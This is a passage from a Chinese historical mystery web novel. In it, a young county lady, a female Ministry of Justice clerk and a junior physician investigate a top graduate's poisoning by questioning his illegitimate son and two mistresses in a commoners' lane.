到底是外伤还是内伤,中毒还是窒息,什么都说不出来。要他有什么用?她要是老皇帝,也生气啊。眼前这个小太医,估计平日里在太医院也不是什么受重视的人,要不然,也不会在这个节骨眼儿上被推出来啊。 谢明尘脸上有些局促,多看了应九阙一眼,目光在她略显苍白的脸上停顿片刻,想说些什么,最后还是忍住了。 “县主不用叫我太医,我只是个小小的恩粮生,直呼我名字即可。屋中血腥气太重,县主还是离远些好。” 说罢,也不磨叽,打开自己的药箱,就走过去检查死不瞑目的余状元。 皇宫重地,仵作暂时是不能进的,也就只有他一个无权无势的小小恩粮生才会被推出来做这种吃力不讨好的事儿了。但应九阙略略惊讶的发现,谢明尘竟然没有因此而心生不满,他的举手投足,都认真得不得了。 应九阙对验尸一窍不通,这会儿尽量保持安静,生怕打扰对方。毕竟任何一个有真本事的人,都值得尊敬。 半个时辰过后,一道浅绿色的身影轻飘飘的踏入,带来一阵浅淡的梅香,恰巧此刻谢明尘的动作也停了下来。 应九阙转身仔细的打量悄无声息走进来的女官。 是的,女官。应九阙见了之前寿宴上那些老中青官员们各种明确或隐晦的蔑视,还以为这世界当真如此叫人无语,没想到,自己这会儿眼前就这么水灵灵的出现一位脸色平静的女官!还不是只能在后宫中当的那种,正正经经出入朝堂衙门的那种! 毕竟应九阙再眼瞎也能看见这女官身上和那些男性官员们一模一样的浅绿官服。 “你是?” 二十多岁的年轻女官气质优雅内敛,弯腰行礼时,一举手一投足尽显不卑不亢的气质。 “下官淳于霜,刑部司务,见过应县主。” 下一刻,行礼之人微微抬眼,对上了应九阙黑漆漆的眼眸,一股穿堂风突然刮起,景泰十三年春,微风吹拂,命运之轮,悄然转动。 第七章 他是我血缘上的亲爹 应九阙眨眨眼,点了点头。 “不必如此,你我都是替陛下办事,彼此共勉就成。” 这时候谢明尘也将自己观察所得面色沉重的说了出来。 “余状元,是中毒而亡。” 不仅如此,谢明尘还在余朗胸前的衣服里发现一朵染血的朝颜花,可是看来看去,都是很普通的那种朝颜花,虽说现在时节早了点儿,但要是认真去找,也能找到。 应九阙叹了口气,事情果然不会那么简单。想起那位还被关押着的辛探花,应九阙比了个手势。 “或许那位会知道些内幕。” 辛探花原本还愤愤不平,结果在听到状元死了的消息时,大笑三声,恨不得亲眼看看对方的尸骨,这一看就是有问题啊。 应九阙和淳于霜对视一眼,随即默默地表示。 “你和余状元关系很好?” “好?” 辛探花停下笑声,恶狠狠的往地上吐了一口吐沫。 “呸!那个狗东西!我恨不得跟他没有一丁点关系!谁跟他关系好!” “那我看你还挺激动的?说起来,我突然发现,你和那位状元还有点儿像?也许是眉眼……” 辛探花可是能在天下千千万万学子中厮杀出来的人物,就算因一时激愤有些举止过分,这会儿也已经恢复过来,平静的看一眼面前新鲜出炉的县主,也不磨叽,说出了自己和余状元的关系。 “那个余朗,是我血缘上的亲爹!” 嘶—— 应九阙觉得自己牙花子有那么一点点疼,天啊,那刚刚这位探花郎勇敢出手竟然是为了捅自己亲爹一刀?是她有罪,思想太不纯洁了,还以为有人敢在宫廷重地搞咳咳,搞那啥呢。 “不知二位有何深仇大恨,要用这样极端的手段解决?” 虽然很佩服这位勇士,但在这个时代,对自己亲爹下手,那可是要受万人唾弃的!尤其探花郎还是个读书人,要知道这天下,读书人的唇舌犹如尖刀,若是外人知道了,就算有什么天大的理由,都会被人攻讦。 估计是破罐子破摔了。辛楠整了整自己的衣着,慢条斯理的将自己的过往一一说出。 “那余朗从前不过是个破落户,仗着自己读过书有张还算不错的脸,花言巧语蒙骗了我娘,还有了我。我娘结果那混账在骗了我娘的全部家财之后就跑了,我娘苦苦等了他二十年!要不是我今朝科举撞上,还以为他早死在那个深山老林里了!不过现在倒是也不晚,毕竟他还是死了!” “应县主,让我说,你也不用查下去了,就当他是遭了报应不成吗?我想,现在朝中一定有很多人在等着看你笑话,甚至已经准备好了给你使绊子,要是不想受万人指责,还是尽早收手吧。” 虽然这位小探花长得挺俊秀,但应九阙可不喜欢听这话,她仔仔细细打量了一会儿辛楠,在他逐渐阴沉起来的表情里突然笑出声。 “看来辛探花是知道些我们不知道的事儿啊,不然也不会这么阻挠我破案。还是说,你在故意包庇莫个人?如若不然,你就是在故意混淆视线。不得不说,探花大概是不太了解我,我这个人啊,一向倔头,你要是不说还好,你这么噼里啪啦说一大通,还让我怎么罢休?” 辛探花像是被谁踩了一脚似的,脸色骤然阴沉的可怕,应九阙却根本没有发现,或者说,她根本不介意对方的脸色。 她本来就不想活了,这人呐,就是怕丧失生机。都不想活了还怕什么怕?!生死看淡不服就干!反正老娘就烂命一条,死就死了,还怕个毛! 本来还觉得这小探花和那些循规蹈矩的官儿不同,没想到还试图用这种方法让她知难而退。 【啧啧啧,还是老皇帝好。至少在他老人家眼里,不管男女,都是他手底下的驴啊。大家都是牛马,你比我多个甚,还搞出优越感了。男人啊,就算隐藏的再好,那股子鄙夷女人的劲儿还是有的。】 藏在禁室里的景泰帝嘴角比较艰难的扬起。主要吧,是他不知道自己是该笑还是怒。这话听起来好像在夸自己?不确定,再听听。 站在角落里的高大身影闷声看着景泰帝兴致盎然的背影,不太明白陛下为什么对这件事如此感兴趣。明明可以将这案子交给刑部或者大理寺处置,却偏偏给了一个还未出阁的女子。不说那些激愤的大臣们了,就连他也很难理解。 此刻,站在景泰帝边上的九福微微侧转过身,露出个制止的眼神,黑影顿时安静不动。 辛楠也没想到应九阙竟是个棘手人物,沉默了。 见对方这不配合的态度,应九阙叹了口气。 “也罢,看来,我不像是能找出真凶的人,也只能让余状元继续享有状元的名头,估计族谱之内还要为他单开一列,毕竟是考上状元光宗耀祖之人呐!” “你敢?!” 应九阙乐了。 “我有什么不敢的?余状元又没有为难我,我跟他说起来都不认识,自然不必牵扯这么多。查不出来虽然很丢脸,但承认自己的失败好像也不是为难的事。” 耸了耸肩,说实话,应九阙这个动作真的很不名门闺秀,但也正因如此,辛楠不确定对方是不是真的会这么做。要是让他亲眼看着余朗荣归故里,他还不如去死!那样的混账,根本就不配这么活着! 看了看面前的三人,应九阙就不用说了,看着一副病弱美人的模样,实际上从三言两语里就能看出来是个臭不要脸的。刑部司务淳于霜就更不用说了,作为朝中少有的女官,向来谨慎沉稳,这会儿稍退应九阙半步,明显是以她为主。三人里唯一一个男人,偏偏是个派不上什么用场的恩粮生!而且到这里这么长时间了,连个屁都没放过,到最后还不是听应九阙的? 脸色跟开染坊似的青红轮转,辛楠几次开口,几次都缩了回去。眼见着应九阙都要转身离开了,辛楠盯着她的背影许久,眼瞅着人都要不见了,还是没能撑住。 “等等!我,我说!” 应九阙停下脚步,由衷的叹了口气。 早这样不就行了?这把人给累的,汗都要出来了。 “余朗明面上没有正妻,但在桐花巷有一处私宅……” 第八章 担心个甚! 得到这个重要的消息之后,应九阙三人没有浪费时间,迅速领了腰牌出宫,直奔桐花巷而去。景泰帝眯缝着眼看他们风风火火远去的背影,有些感慨。 “年轻就是好啊……” 感慨了会儿少年们的青葱岁月之后,景泰帝摆了摆手。 “这群年轻人啊,就是欠考虑,连一个会拳脚的都没有,就敢这么兴冲冲的过去,若是碰见些不讲理的人家,还不得被人家欺负死?也罢,你去帮一帮他们。” 黑暗中的高大人影点了点头,悄无声息跟了上去。 室内一时静默,九福张了张嘴,还是闭上了。 景泰帝哈哈一笑。 “你这老东西,这会儿装什么担心呢?给你干儿子的前途都不要了?要不朕把他叫回来?” “陛下信任那孩子,老奴心里也高兴得很,只是,老奴担心,朝中会有非议……” “担心个甚!” 景泰帝草莽出身,即便当了十三年的皇帝,举止比以前文雅许多,但骨子里还是彪悍的很。这会儿身边没有外人,对着跟了自己小二十年的九福,也没了顾忌,说话随意得很。 要是被史官们看到了,说不定会狠狠地记上一笔。 “你那干儿子正是好年华,整日待在宫里又有什么好的?好好的出去干一番事业,也不枉生做男儿来这世上一遭。而且,那些个下巴抬到天上的家伙们,总以为自己的出身比别人好,在朕心里,从来都不在意家世好坏,只在意是否好用。要论家世,朕还是田舍郎出身,让那些世家大族来说,朕怎么配坐在这位子上?” 九福抽噎一下,深深行礼。 “陛下乃真命天子,世人尽数承认的,老奴发自心里认为,您就是这天下最英明的主子!” 陛下百忙之中还记得自己的干儿子,他怎么能不感动?像他们这样的人啊,平日里受尽歧视。因为自己没了根,好像做了什么十恶不赦的恶事似的,那些个高高在上的大人们,尽管平日里见到自己也是笑脸相对,但那眼底到底有没有对自己这人的尊重,他可是看的真真的。 别人也就算了,可自己收养的孩子明明身心健全,因为有自己这个太监爹,就被明里暗里鄙夷不屑。九福只是嘴上不说,不代表他一无所知。 那傻小子,可得好好把握住这次机会啊! 应九阙三个带了一列金甲卫出宫,可算是惊掉了那些暗中围观之人的下巴。陛下竟然将自己的亲卫给了这个新鲜出炉的县主!要不是应九阙今儿个是成年第一次出现在京城,大家还以为她是陛下隐藏多年的沧海遗珠呢!等等,嘶,那应九阙虽说看起来病弱了些,可当真是个美人,陛下不会是看上她了吧? 想到这个可能的人还真是不少,只不过大家就算怀疑得很,也不敢将此事明目张胆的说出来啊。 应九阙倒是没觉得有什么,自己可是给陛下做事的人,陛下给自己分点儿人手多正常了,十天看起来不短,可若是能早点儿将此事调查个清清楚楚明明白白,自己也能多挣一份颜面。毕竟,她还真不想当被困在深宅大院里的闺秀。 桐花巷是个平民小巷,他们一群人就这么过去未免太过显眼,所以在出来之前大家就已经换了便装。只不过那群金甲卫一个个人高马大,再加上凛冽的气质,看上去就不好惹,他们这次去只是为了调查真相,又不是为了抓人,应九阙短暂考虑了一下,决定先和淳于霜谢明尘一起去看看。谢明尘那人畜无害的气质,倒不会引起他人的警觉。 根据辛探花给的地址,三人最终摸到了一处有着暗褐色木门的小院。这小门看起来平平无奇,但从外面就能看见小院里有一棵高大的桐树探出头来,树叶青绿,正是好时节。 随手拦下一个行色匆匆头发花白的老太太,应九阙笑眯眯的掏出一把糖渍瓜子递了过去,本来不太高兴的老太太顿时喜笑颜开,热情的不得了。 “姑娘,看你们是生面孔,来找人的吧?找谁啊?不是大娘我夸口,这条巷子里的人家,就没有我不认识的!” 九阙笑眯眯的避开对方想继续伸过来的手。 “大娘,我恍惚中听说,这里有位叫芸娘的姑娘住着?那是我表姐,家里遭了难来投奔,只是书信来的晚了些,我们一家子都去外地了,如今一回来收到信,可着急了!您说说她带着个小姑娘,也没个依靠,多可怜呐!我们姐弟三人找了小半个月,才打听出来她好像住在这里,这不就遇上大娘您了吗?” 就连淳于霜都没想到应九阙竟然能如此接地气,想起这位郡主此前一直住在庄子上,或许和这个有关?这么说来,应郡主似乎也没有想象中的那么千娇百宠。 这会儿,那大娘听完这话,那叫一个兴奋,这可是之后跟老街坊们小半个月的谈资啊! 激动的一指身后的木门。 “巧了不是?那姑娘就住在这里!今早上我还看着她出来买菜呢!要不我给你敲门?” 见应九阙三个有些犹豫,热心肠的大娘多看了三人里唯一的男子,见谢明尘柔柔弱弱的,还没有自己个儿强壮,干脆直接拉着应九阙往门口走去。 “砰砰砰!” “芸娘啊!你在不?开开门啊!” 屋里很快就响起了轻快的脚步声,须臾之后,一张秀丽的脸随着打开门的动作露了出来。 “林大娘,什么……” 话说到一半,芸娘看着林大娘身后露出小半张脸,笑眯眯盯着自己的应九阙,说不出来了。 应九阙倒是毫不客气,带着谢明尘淳于霜走进去,顺便又塞给林大娘一个装满糖渍瓜子的小油纸包,上面赫然印着前头东街最有名的糖果铺子名号。这家铺子的甜点都贵得很,家里的小孙孙都念叨好几天了,这回可是能堵住他的嘴了! 顺着缝隙最后看一眼淳于霜隐藏在裙摆下的官靴,林大娘吃了颗瓜子,悄悄贴在了墙角。 第九章 会咬人的狗不叫 进了小院之后,九阙也没直接询问,眼睛四处打量这小院里的布置。 这院子虽然小,但布置得相当干净巧致,靠近梧桐树的空地上还有一个打扫的干干净净的青石桌子,上面摆着一套白瓷茶具,摆出来的两个小巧茶杯里还氤氲着淡淡的茶香气。 九阙眼睛微微一眯,毫不客气的坐下。 “芸娘,你和余朗余状元是什么关系?听说他虽然没有娶妻,但对一个外室极为疼爱,你就是那个妾室?” 淳于霜挑了挑眉,从善如流的坐下,倒是谢明尘,有些局促,也不敢坐在几位女子身边,只能尴尬站在一边,装作研究那棵高大梧桐树下的几根青草。 不过,那个芸娘明显也不是什么简单角色,在短暂的震惊过后很快就反应过来,安静的坐在椅子上,摩挲着手指。 “妾身并不知道自己是不是姑娘口中受宠的妾室,毕竟,余朗宠爱的人有很多个,妾身也只是其中最不显眼的一个罢了。三位想从我这里得到什么消息,只要妾身知道,一定知无不言言无不尽。” 听这位芸娘的话,明显也是读过书的,九阙也不磨叽,干脆利落的将今日之事简单说了说。 当听到余朗死了的消息时,芸娘瞳孔猛然一缩,看上去极为震惊。 “死了?怎么可能死了呢?明明早上离开的时候还好端端的,他还特别高兴,说自己终于光宗耀祖了,这不可能啊……” 等她好不容易消化好了之后,就看见对面三人若有所思的模样,顿时有些紧张。 “妾身并不明白,余朗在皇宫里死了,诸位为何要来找我?我对此也一无所知。” 对这等刑讯案件,九阙不如淳于霜专业,于是看了对方一眼。神奇的是,二人明明是第一次见面,却格外的有默契,都不必九阙开口,对方就已经轻车熟路的开始了。 “余状元昨晚是在这里住着的吧?不知在今早离家之时有何异样,请芸娘姑娘好生回忆,从今早起床开始,他都做了些什么,说了些什么,跟什么人见过面?” “……他昨天晚上很紧张,今日寅时就起来了,吃了一碗馄饨一个烧饼,就穿好了衣服等着进宫。我也不太敢在这个时候说话惹他心烦,约摸半个时辰之后就出发了,我本来想送他,但是……” 说到这里,芸娘的神情有些失落。 “他说我的身份不适合在这个时候见人,于是我就没再出去。等再得到他消息的时候,就是你们来了。” 等等。这不对啊,余朗寅时左右出发,可陛下的寿宴是巳时开始,宫门也是巳时末开的,就算余朗用自己的两只脚走路,也不应该起那么早啊。 除非…… 除非他没有直接去皇宫!还去了其他地方! 好家伙,好像变得有趣起来了。 九阙摸了摸下巴,与淳于霜来了个默契对视,想起来唯一的男性,回过头就发现谢明尘正认认真真的盯着那几棵杂草发呆。 ……看来是指望不上了。 “芸娘啊,听你刚刚说的那些话,你或许也知道余朗在外面有人?或者你能猜出来他在参加寿宴之前去了哪里?” 芸娘沉默片刻,随即提出了一个条件。 “我想知道,那位探花郎为什么会知道我?我从未见过他。” “因为探花是余朗骗了一个姑娘生的,那姑娘等了他快二十年,还以为他死在半道上了,没想到人家过得滋润着呢,还考上了状元。不过人在做天在看,探花郎会试的时候就遇见他,终于忍不了,今儿利索的捅了他一刀。不过可惜的是,那刀太短,没能刺中要害。还有人怀疑就是辛探花杀了余朗,不过太医查过了,余朗并不是死于外伤,而是中毒。” “中毒……” 芸娘沉默了,片刻后艰难的开口。 “我,我没想到,我不知道他有一个儿子,也不知道有个姐姐被他骗了。我当初,也只是为了讨口饭吃才做他的外室……” 众人都有些沉默,如果不是因为太过刻骨的恨意,想来辛探花也不会痛下杀手。科举这件事有多难,人尽皆知。辛探花一步步走来,好不容易走到了这个天下最大的官面前,却亲手毁掉了自己的前途。这是连应九阙这些外人都觉得可惜的程度。 不过叹惋也只是一时的,芸娘很快就给出了线索。原来,余朗确实养了好几个外室,甚至有一个就住在离这里不远的地方,两人平日里出去走动甚至还会见到对方。 应九阙有些无语。 “余状元连这点儿钱都要节省?” 这可真叫人难堪。都不敢想象芸娘和那个外室见面的时候会不会感到尴尬。不过,余朗就算再蠢,也不至于犯这种低级错误啊。 “他既然不想我知道,那我就只能当做自己不知道。毕竟我只是他养的一个外室,又不是人家明媒正娶的妻子,有什么资格管束?只要做好我的分内之事也就是了,其他的,就当自己是个瞎子吧。” 原来如此。 应九阙叹了口气,得到了具体位置之后,就准备离开,只是在临走之前突然说了句叫芸娘脸色大变的话。 “你当初真是自愿?” “吱呀——” 木门晃晃悠悠的,最终还是隔绝了外面探寻的目光,芸娘抬手端起茶杯,将其中剩的凉茶一饮而尽! “自愿不自愿,现在追究还有什么意思?没人会在意我们这种人的想法……” 九阙脚步迅捷的走在前方,苍白的脸上因为运动而浮现出了一层浅淡的桃花粉,这倒让她有些许活人的气息。 这个时候时间就是一切,万一另外一个外室真跟这件事有关,可得及早拦住人,当然了,芸娘那边也有金甲卫悄悄监视着。 只不过或许他们流年不利吧,刚走到门口还没来得及敲门呢,就有人一把拉开大门,紧接着一条半人高的狗就跳出,恶狠狠的朝着应九阙三个咬来! 那大黑狗膘肥体壮,张开的嘴巴里尖利的獠牙看着就渗人,一声也不叫,就这么扑了过来! 应九阙有那么一瞬间,都没反应过来就被大黑狗扑倒了身前! 第十章 人不要脸,天下无敌! “应县主!” 淳于霜惊呼一声,下意识的冲过去,这么大一条狗如果真的咬住应九阙,对方岂不是危在旦夕? 谢明尘也吓了一跳,连忙阻止,可这一切都发生的太快了,还没等他们两个有更多的动作,那条大黑狗就已经一把扑倒应九阙,张开了血盆大口。 应九阙都已经感受到脖颈处传来的凉意,却在下一刻听到那大黑狗子呜呜咽咽的惨叫声,身上压着的重量也消失了。 被淳于霜扶起来的时候,应九阙还晕乎乎的呢。暗中跟着他们防的就是这种时候的高大人影此刻也终于露了面。刚刚就是他一脚踢飞了那条凶恶的大黑狗,这会儿狗子狠狠地飞到墙上,这会儿小声呜咽,好像受了什么天大的委屈。 下一刻,一道尖利的女声骤然响起。 “你们干什么?私闯民宅你们还有理了?竟然打我家的狗!还有没有王法了?” 应九阙这会儿已经在淳于霜的帮忙下站了起来,但还是有点儿虚弱,更多的是后怕。虽然她不太想活,但至少得是在她已经做好了准备的情况下才行吧。突然来这一下,吓了她一跳。 扑过去安慰自家狗子的女人这会儿露出了真容,是个长相美艳的女子,眉眼之间带着一丝凌厉,与刚刚的芸娘完全是不同的风格。 不得不说,如果这位也是余状元的外室,那还挺有审美,准备梅兰竹菊各来一个是吧? “大姐,你搞搞清楚行吧?我只是想去拍门!你这么二话不说直接放狗咬人还有理了?难不成不管是谁来敲门,你都要来这么一遭?刚刚那是我侥幸没被咬中,要真是咬到我,你以为自己能逃得了律法制裁?” “律法?” 美艳女人柳眉倒竖,狠狠地一口唾沫呸在地上。 “要是律法真有用,这世上就不会有那么多有怨无处申的苦命人!姑奶奶我也不是吓大的,说吧,想要什么!” 嘿? 这位大姐还真有性格啊,要不是险些被伤的人是自己,她都要称赞一句英雌了。 “你这人怎么……” 就算是谢明尘这样好脾气的人这会儿也有点儿不高兴了,上前一步挡在应九阙淳于霜身前,十分警惕那条已经恢复过来的狗子。 而刚刚一出现就一脚将大黑狗踢出去的高大男子这会儿也安静冷然的盯着那女子,看上去,那个美艳女子没有丝毫赢得机会。 “快!有外人来咱们桐花巷闹事儿了!还去的金花娘子家!” “要死啊!欺负人家姑娘是吧?快点儿!都赶紧出来!” 嘈杂的声音从远处隐隐传来,或许是该归家的时候,原本这条桐花巷十分安静,但这会儿却突然吵闹起来。神奇的很,从各个角落里涌出来一大波人,手里还都拿着铁锹锄头等家伙事儿,气势汹汹的围上来。 那突然出现的高大男子一言不发的护住手无缚鸡之力的三人,“唰”的一下从腰间抽出一把雪亮的长刀。 这年头,能随身携带武器的可不是一般人,见到对方手里那明晃晃的家伙,原本群情激奋的大伙儿倒是猛然冷静了许多。 短暂的沉默过后,一个白发苍苍的老人家走了出来,那是个将岁月都刻进皱纹里的老人家,手里拿着一柄油润黑亮的拐杖,虽然身上并没有穿戴什么贵重物品,但却有种叫人一见就忍不住安静下来的气质。 而观周围人的表情,显然也是十分敬重这位老人的。 “几位年轻的客人,不知你们来这小小的桐花巷做什么?我们这里都是些普普通通的百姓,向来遵纪守法,不敢做丁点儿亏良心的事儿。看几位小娘子小郎君都出身富贵,有什么需要老婶帮忙的尽管开口。” “不敢不敢。” 应九阙连连摆手,担不起这么大年纪老人的话。在医疗条件生活条件都落后的地方,这位老人能如此长寿而且精神炯烁,实在是不容易。而且从小到大接受的教育也不允许她不尊老爱幼。 对着这位可敬的老人行了个礼,应九阙看一眼乌泱泱的人群,属实没想到这桐花巷的人会如此团结。再往旁边一扫,赫然看见了一个藏在老人身后略显眼熟的人。那花白的头发,笑眯眯看似无害的脸,不正是之前遇见的那位老妇人吗? 那林大娘发觉应九阙盯着自己看,嘿嘿一笑,干脆走出来,笑眯眯的感谢九阙之前掏出来的糖渍瓜子。 “多亏了这位姑娘,不然老婆子我怎么能买的起‘百味香’的糕点?老婆子替家中小孙孙多谢姑娘啦!” 九阙简直是哭笑不得,这老奶奶还真是促狭。看来人家早就看出自己‘居心不良’了。看这架势还有什么不明白的,分明是这位老奶奶去找的人啊。 行,都到这儿了,再装腔作势下去就有点儿过分了。 九阙笑眯眯的看着主事的老人。 “想来您是这桐花巷管事儿的人,说句实话,我跟两,三个同伴是来查案的。金科状元余朗,今日中毒死了,陛下命我等查清楚他的死因。听说余状元在这桐花巷有得宠的外室,因此来这里查问一番。本想得到些有用的消息,不想竟引起了误会,不晓得这位长辈能不能帮个忙,让街坊们散去?” “说句不太好意思的话,我等都是些手无缚鸡之力的年轻人,陛下生怕我们几个出来查案受个伤啥的,所以让好几个金甲卫大哥跟着。我怕惊吓到诸位,所以请他们在外面等着,要是见这么大阵势,可就担心坏了。” “……” 这下不仅那些街坊们脸色大变,就是己方的三人都有些不动声色的惊讶。不是,陛下将金甲卫派出来的时候是这么说的吗?应县主这么说,是不是有点儿,呃,厚脸皮? 唯有刚刚从天而降的高大男子眼神深沉。这应九阙竟然真能猜出陛下的心思。难道这就是陛下对一个第一次见面的女子这般看重的原因? 不过,他很确定陛下没有当着应九阙的面说这些,当着这么多人的面都能如此厚脸皮,也算是一号人物了。 这还是九阙不知道大家心里想什么,要是知道,只会嗤之以鼻。这有什么,往自己脸上贴金不是最基础的操作吗? 人不要脸,天下无敌! 第十一章 书房探秘 那位老者一时间没有说话,大概是被这一串冠冕堂皇的话给惊到了吧,就连看着九阙的眼神都有了微妙的变化。朝廷这些年对于女子较为严苛,还没见过这般特立独行的女孩子。 可别以为厚脸皮有什么不对,只要能达到自己的目的,厚脸皮有什么不好? 这会儿,老者看一眼金花,脸色慈和的表示。 “金花,如果你真知道什么,大可以告诉这几位少年人。反正,余状元已经没了,你总要过自己的日子,给自己换一份清闲不好吗?” 那位一直表现强硬的女子这会儿精神猛然一松,也没有那么抗拒了。 不过,她还是不想当着这么多人的面说有关余朗的事儿,虽说大伙这会儿很是团结,但等事情过去,难免会有些嚼舌根的,人性而已,而她不想赌。 请了包括那位老者在内的几位德高望重的老人进来,关上院门,金花依旧依偎着自己的大黑狗,有些拘谨。 “你想问什么?” 九阙看了眼跟芸娘那边差不多的布局,瞟过一边的小菜园,最后落在抿嘴的芸娘身上。 “你跟余朗是怎么认识的?” 这倒是跟想象中的问题不太一样,金花有些抗拒这个问题。 “非得说这个吗?你不问我他今天有没有来过我这里?” “这个当然是要问的,但不是现在。我更想知道你和余朗到底是怎么认识的。” 面对这个问题,金花沉默了许久,才黑着脸开口。 “我是个猎户的闺女。我爹娘早死,之前一人在村中过活。不小心遇上了出游的余朗,余朗见我生的貌美,就让我做了外室。我不过是个无依无靠的孤女,就算在村中也过得不好,叔叔婶婶还想把我卖给人伢子,谁知道到时候我会被卖到什么腌臜地方去。他虽然年纪大了些,但读过书,识文断字,又气质斐然,虽说我只是当外室,但也不亏,所以就跟着进了城……” 在听对方讲述自己过往时,九阙也在不断观察四周,身边的淳于霜悄悄扯了扯她腰间的衣服。顺着淳于霜的眼神看过去,九阙就看到了金花姑娘紧紧依偎着大黑狗的动作还有从领子口露出来的肌肤上淡淡的青色淤痕。 那看起来不像是夫妻房事弄出来的,倒像是…… “……反正,他死了,我也很伤心,但这跟我没关系。你们要是看我单蹦一个就想欺负我,我告诉你们,那不能够!” 金花一边说一边挥舞着手臂,显然是想到了以往的伤心事,脖颈处露出的肌肤越来越多,那青色的淤痕也显露的更加完整,那赫然是一个手掌印! 所以,余朗打她了? 按照金花之前的说法,她几乎没怎么出过门,再加上整条巷子里的人家都知道她是做外室的,跟寡妇门前是非多一个道理,都很少有人主动上门,除了余朗,也很难有另外一个手掌如此宽大的男子在金花身上落下这样的伤痕。 这时候,金花也发现面前那出身富贵的姑娘眼神总是落在自己脖颈上,脸色微微一变,连忙拉好了衣服,越发依偎着自己的大黑狗了。 就连刚刚一直好端端坐着的老者也发现了,原本温和的表情顿时一变。 “金花,怎么回事,他打你?” 金花摸了摸自己的脖颈,一时间不知道该说些什么,但在周围人担忧温和的注视下,还是苦涩的点了点头。 “我有什么法子呢,他总是喜欢弄那些恶心人的东西,我孑然一身,连个家人都没有,除了依附他,该怎么活?我要是有娘家人,还能帮我说句话,可现在,只能忍着。不然,等他把我赶出去饿死吗?既然不管怎样都是服侍人,那为何不找一个?” “就算他打你骂你?” “就算他打我骂我!” 九阙算是明白了,这位金花姑娘虽然生的美艳些,可性子比较软,倒是那位芸娘,看起来柔柔弱弱斯斯文文,反倒是有股子韧性。很难说余朗是不是知道这些,所以才会肆无忌惮的对待金花。 不过话已至此,也该步入正局了。 “今天上午,余朗有没有来过你这里?” 金花无意识的抓了一把大黑狗的毛,那狗虽然刚刚凶恶的很,但此刻却乖乖巧巧的站在那边,一动不动,显然跟自己的主人很是亲近。 在沉默之中,金花点了点头。 “他确实来过,在这里待了一个时辰,就走了,说是要去参加皇帝老爷的寿宴,拖延不得。” 看金花那伤痕还是新鲜的,所以余朗是在进宫之前还做了那种事? 九阙不由有点儿恶心,那位老者的表情更是难看。 “他有没有说什么话?比较特殊,不一样的那种?” 金花摇了摇头,不过摇到一半突然像是想到了什么,有些踌躇。 “他确实说过,等再过两日,就能过上好日子了,不过我还以为他说的是自己考中状元这事儿,应该没什么问题吧?” 听这话,似乎是没问题的,紧接着淳于霜上场询问,九阙则是在这间小院转悠起来。大门,菜地,厨房…… 嗯? 看着那扇紧闭着的,芸娘家里没有的红漆小木门,九阙停下了进步,盯着上面用墨笔描绘的红梅细瞅。 “金花姑娘,这是?” “那是余朗的书房,他平日里不让我进去的。” 还不让进? 九阙更是来了兴致,反正现在余朗已经死了,而且还不像是个好人,开他的门,九阙那是一点儿心理压力也没有啊。 请那个黑衣男人帮忙打开紧闭着的门锁,九阙探头进去,发现这里布置的还相当有格调。想来也知道,余朗好歹是个状元,该有的格调还是有的。查遍了周围的桌椅书架,除了一些科举用的书和山川地理小传之外,一本特别的也没有。 九阙偏偏不信这个邪,金花应该是不识字的,对着不识字的金花都如此警惕,更不可能只有一些科举用的东西。 四处转了好一会儿,九阙最终停在了一副山水画面前。这画上画的是灼灼牡丹,每一朵都形态各异,美不胜收。不过,好像有什么怪怪的,这牡丹的颜色怎么有的鲜亮有的暗沉? 第十二章 藏起来的画 站在那幅牡丹图面前欣赏了很久,九阙摸了摸下巴,只觉得好奇。 这余朗,不会在自己的书房里搞什么暗道吧?按照常理来说,只需要把图画挪开,就能看见开关? 结果挪开了一看,什么也没发现,这倒是奇了。 直接把那幅画拎起来拿到金花面前,九阙饶有兴致。 “金花姑娘,这幅画是余朗画的?” 不料金花对这个根本不了解,有些茫然的摇头。 “我不知道,他从来不让我进去,也不让我打扫。里面的一切,包括那扇门,都是他自己做的。” 大家这会儿都来看这幅牡丹图,淳于霜伸手轻轻抚了抚上面的痕迹,若有所思。这上面的笔画有深有浅,明显不是在同一个时间段画的。并且看这画轴,格外油润,明显是深受主人喜欢,时常被拿起来把玩所致。 听了淳于霜的猜测,九阙左右端详下,拿起一端的画轴轻轻旋转掰扯,在众人惊奇的目光下,还真将画轴旋转开,从里面抖落出一个折叠起来的纸条。 抖开一看,在场大多数人都忍不住瞬间别过脸去,脸色羞红不已。无它,上面竟然画着栩栩如生极为香艳的避火图。 这纸团看起来不大,但抖开来却也有三尺来长,上面挤挤挨挨画了许多未着寸缕的女子,环肥燕瘦,各有千秋。 虽然休囧,但总要继续探查。九阙倒是不怎么在意,她见过的东西多了去了,这点儿东西对她来说根本够不上威胁。她只是盯着其中一个女子看了会儿,然后猛然收起了这张藏的隐蔽的纸。 淳于霜几个有些奇怪,但此行应九阙是主导,于是也都没说什么。倒是九阙,脸色有些难看。 “这位兄台,你手底下应该有人吧?能不能多派几个出来,有事需要帮忙。” 那高大的男子点点头,简短的介绍自己。 “魏渊。” 金花还有些茫然,但应九阙等人已经起身准备离开了。 那位一直跟着的老者此刻也来到了屋外,此刻天已擦黑,远处还有孩童的哭笑声,但叫人意外的是,外面那些站着的人没有一个离开的。虽然有的已经坚持不住随地坐下,但并没有生出不耐之心。在看见应九阙等人时更是忍不住聚拢过来,殷切的目光直到看到那位老者安慰的眼神才松了口气。 “木老,金花妹子这是没事儿了?” 昏暗的小巷子里,一边是浓浓的烟火情,袖子里的那张纸却叫九阙觉得浑身发麻,夹杂在一起,那滋味儿真是绝了。 深吸一口气,九阙“啪啪啪”鼓掌,吸引了大家注意。 “行了,各位父老乡亲,街坊邻居,今天可是耽误大家伙儿了,放心吧,不是什么坏事,我们也就是来找个人,大家不必惊慌。这可是天子脚下,有天子庇佑,大家一定能平平安安,遇难成祥。我等打扰了这么久,这就要离开了。不过有几个兄弟会来守夜,看见没?就是那几个,高大威猛,个顶个的好汉子!大家都放心,这可是官府的人,实打实吃皇粮的,代表的可是陛下的脸面。当今陛下最是怜爱百姓,未免有人暗中作祟,特意派他们来,必能守好大家的安全。” 见九阙三言两语缓解了大家的担忧,木老有些惊讶。这可真是奇了。平日里大家伙儿最害怕的就是官府的那些兵,可别说什么吃皇粮了,正是因为吃官家粮,那些小官小吏们才会如此压榨百姓,明面上不显,但私底下花活百出,折腾的街坊四邻苦不堪言。 可在应九阙口中,那些当官的好像就是要为百姓做主似的,那种理所当然的口吻,那种想当然的态度,叫大家伙儿都不由自主有点儿信了。 这不是真的吧? 